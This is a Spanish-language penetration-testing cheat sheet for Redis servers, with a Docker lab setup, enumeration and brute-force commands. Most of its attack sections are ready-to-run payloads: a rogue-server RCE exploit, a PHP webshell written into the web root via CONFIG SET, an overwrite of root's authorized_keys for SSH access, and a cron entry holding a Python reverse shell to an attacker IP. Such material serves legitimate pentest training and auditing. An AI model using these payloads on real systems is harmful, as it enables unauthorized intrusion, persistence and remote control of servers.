# Redis

> Es utilizado por millones de desarrolladores como base de datos, caché, motor de streaming y agente de mensajes.

## Laboratorio

Para poder realizar pruebas contra un entorno de redis de forma fácil, se puede utilizar un contenedor de docker:

```bash
sudo docker run -d --name redis -p 6379:6379 redis
```

La herramienta que utilizaremos para conectarnos "redis-cli" se encuentra en el paquete de "redis-tools":

```bash
sudo apt install redis-tools -y
```

Conexión al redis:

```bash
redis-cli -h 127.0.0.1
```

Conexión al contenedor de docker:

```bash
sudo docker exec -it redis sh
```

Para la explotación de múltiples vulnerabilidades, es necesario que existan varios elementos comunes en entorno de producción. Para ello, dentro del contenedor se ejecutarán los siguientes comandos:

```bash
mkdir -p /root/.ssh
```

## Enumeración

Se puede comprobar de diferentes formas si un servidor cuenta con el puerto 6379 abierto y si en este está siendo ejecutado el servicio de Redis.

* Nmap:

```bash
IP=192.168.1.222
sudo nmap --script=redis-info -sV -p 6379 $IP
```

* Telnet:

```bash
IP=192.168.1.222
telnet $IP 6379
```

* Netcat:

<pre class="language-bash"><code class="lang-bash"><strong>IP=192.168.1.222
</strong><strong>nc -vn $IP 6379
</strong></code></pre>

* Redis-cli:

```bash
IP=192.168.1.222
redis-cli -h $IP -p 6379
```

* Metasploit:

```bash
use auxiliary/scanner/redis/redis_server
set RHOSTS 192.168.1.222
```

Si el servidor no cuenta con autenticación, se podrán ejecutar múltiples comandos con el objetivo de enumerar información del servidor, e incluso, llegar a obtener ejecución de código en el servidor.

### Conexión

```bash
IP=192.168.1.222
PORT=6379
PASS=<contraseña>
redis-cli -h $IP -p $PORT
redis-cli -h $IP -p $PORT -a $PASS
```

### Autenticación

**Por defecto, Redis no cuenta con autenticación**, esta puede (y debe) ser establecida posteriormente, bien con autenticación:

* usuario+contraseña.
* Solo contraseña. En el este caso, el usuario por defecto será `default`.

Para autenticarse en redis, se puede utilizar el siguiente comando:

```bash
AUTH <usuario> <contraseña>
```

### Comandos de redis

Algunos comandos comunes para enumerar información del servidor:

```bash
INFO
client list
CONFIG GET *
```

Crear una clave-valor y obtener el valor de una clave:

```bash
keys *
set <nombre de la clave> <valor de la clave>
get <nombre de la clave>
type <nombre de la clave>
```

Para una mejor comprensión de los comandos, será mejor consultar la documentación:

* <https://redis.io/docs/data-types/tutorial/>

### Rutas interesantes

```bash
/var/www/html
/home/redis/.ssh
/root/.ssh
/var/lib/redis/.ssh
/var/spool/cron/crontabs
/var/spool/cron
```

## Ataques sin autenticación

Para conseguir ejecución de código remoto en un servidor redis, primero se deberá conseguir acceso al servicio.

* [ ] Acceso directo como `anonymous`. \[[Aquí](#conexion)]
* [ ] Ataque de fuerza bruta. \[[Aquí](#fuerza-bruta)]
* [ ] Obtención de credenciales en otros servicios/aplicaciones.
* [ ] Vía MitM.
* [ ] ...

### Conexión directa

Bien porque no cuenta con credenciales, o porque se han obtenido credenciales por otros medios.&#x20;

Más info aquí -> \[[Aquí](#conexion)]

### Fuerza bruta

* nmap:

```bash
sudo nmap --script redis-brute -p 6379 $IP
```

* metasploit:

```bash
use auxiliary/scanner/redis/redis_login
set RHOSTS <IP>
```

<table><thead><tr><th width="225">Comando</th><th>Descripción</th></tr></thead><tbody><tr><td>info</td><td>Muestra los información y datos del servidor.</td></tr><tr><td>select &#x3C;n></td><td>Selecciona una base de datos que utilizar. Por defecto, Redis tiene 16 bases de datos disponibles (0 - 15), siendo 0 la utilizada normalmente.</td></tr><tr><td>keys &#x3C;pattern></td><td>Muestra todas las claves que coincidan con la expresión regular indicada.</td></tr><tr><td>type &#x3C;clave></td><td>Muestra el tipo del valor almacenado en la clave.</td></tr><tr><td>get &#x3C;clave></td><td>Muestra la clave</td></tr><tr><td>hgetall &#x3C;clave></td><td>Muestra todos los pares campo/valor almacenados en la clave hash.</td></tr><tr><td>hget &#x3C;campo> &#x3C;valor></td><td>Obtener el valor del campo especificado en la clave hash.</td></tr></tbody></table>

## Ataques con autenticación

* [ ] Redis (<=5.X) RCE. \[[Aquí](#redis-less-than-5.x-rce)]
* [ ] Subir una webshell. \[[Aquí](#webshell)]
* [ ] Añadir una clave ssh al servidor. \[[Aquí](#ssh)]
* [ ] Añadir un crontab. \[[Aquí](#crontab)]

### Redis (<=5.X) RCE

Para ello, se pueden utilizar las herramientas:

* rogue-server: <https://github.com/n0b0dyCN/redis-rogue-server>

```bash
IP=<IP de redis>
ATIP=<IP del atacante>
python3 redis-rogue-server.py --rhost=$IP --rport=$PORT --lhost $ATPI
```

* metasploit: <https://www.rapid7.com/db/modules/exploit/linux/redis/redis_replication_cmd_exec>

```bash
use exploit/linux/redis/redis_replication_cmd_exec
set RHOSTS <IP>
```

### Webshell

Si el mismo servidor aloja una aplicación web, se podrá intentar subir una *webshell.*

Algunas rutas comunes son: [#alojamiento-de-la-aplicacion-web](https://www.xtormin.com/pentesting-en-aplicaciones-web/general/reconocimiento#alojamiento-de-la-aplicacion-web "mention")

```bash
config set dir /var/www/html/
config set dbfilename shell.php
set test "<?php echo system($_GET['cmd']); ?>"
save
```

Se pueden consultar otras opciones de webshells en: [#php](https://www.xtormin.com/pentesting-en-aplicaciones-web/general/explotacion/webshell#php "mention")

```bash
curl http://<IP del redis>/shell.php?cmd=whoami
```

### SSH

#### Sobreescribe el fichero authorized\_keys

1. Manual.
2. Automatizado.

**Método 1 - Manual**

Este método sobreescribe el fichero de authorized\_keys, por lo que, no debería utilizarse en entornos de producción.

1. Se crea una clave privada y pública:

```bash
ssh-keygen -t rsa
```

2. Crear un fichero con la clave pública creada:

```bash
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > public_key.txt
```

3. Copiar la clave pública en el servidor de redis:

```bash
IP=<IP de redis>
cat public_key.txt | redis-cli -h $IP -x set ssh_key
```

4. Almacenar la clave pública en el fichero `authorized_keys`.

<pre class="language-bash"><code class="lang-bash"><strong>redis-cli -h 192.168.1.222 config set dir /root/.ssh
</strong>redis-cli -h 192.168.1.222 config set dbfilename "authorized_keys"
redis-cli -h 192.168.1.222 save
</code></pre>

5. Acceder vía SSH con la clave privada:

```bash
ssh -i id_rsa redis@192.168.1.222
```

**Método 2 - Automatizado**

Se puede realizar de forma automatizada con la herramienta:&#x20;

* <https://github.com/Avinash-acid/Redis-Server-Exploit>

### Crontab

Primero, dejaremos el puerto de recepción a la escucha:

```bash
sudo rlwrap nc -lnvp 80
```

Este comando contiene un crontab que al ejecutarse devuelve una reverse shell con python. Habrá que modificar la IP y puerto de recepción (como siempre, preferiblemente los puertos 80 y 443):

```bash
echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<IP atacante>\",<Puerto a la escucha>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"
```

Añadir el comando anterior, previamente modificados y ejecutarlo para añadir el valor en la clave "1" que se creará en redis:

```bash
<comando anterior> | redis-cli -h $IP -x set 1
```

Se crea el fichero que, al llegar a ejecutarse, nos devolverá la shell:

```bash
redis-cli -h 192.168.1.222 config set dir /var/spool/cron/crontabs/
redis-cli -h 192.168.1.222 config set dbfilename root
redis-cli -h 192.168.1.222 save
```

## Referencias

* <https://github.com/Jean-Francois-C/Database-Security-Audit/blob/master/Redis%20database%20penetration%20testing>
* <https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis>
* <https://ppn.snovvcrash.rocks/pentest/infrastructure/dbms/redis>
* <https://pentesting.mrw0l05zyn.cl/explotacion/servicios/6379-tcp-redis>
* <https://lzone.de/cheat-sheet/Redis>
* <https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html>
* <https://redis.io/commands/set/>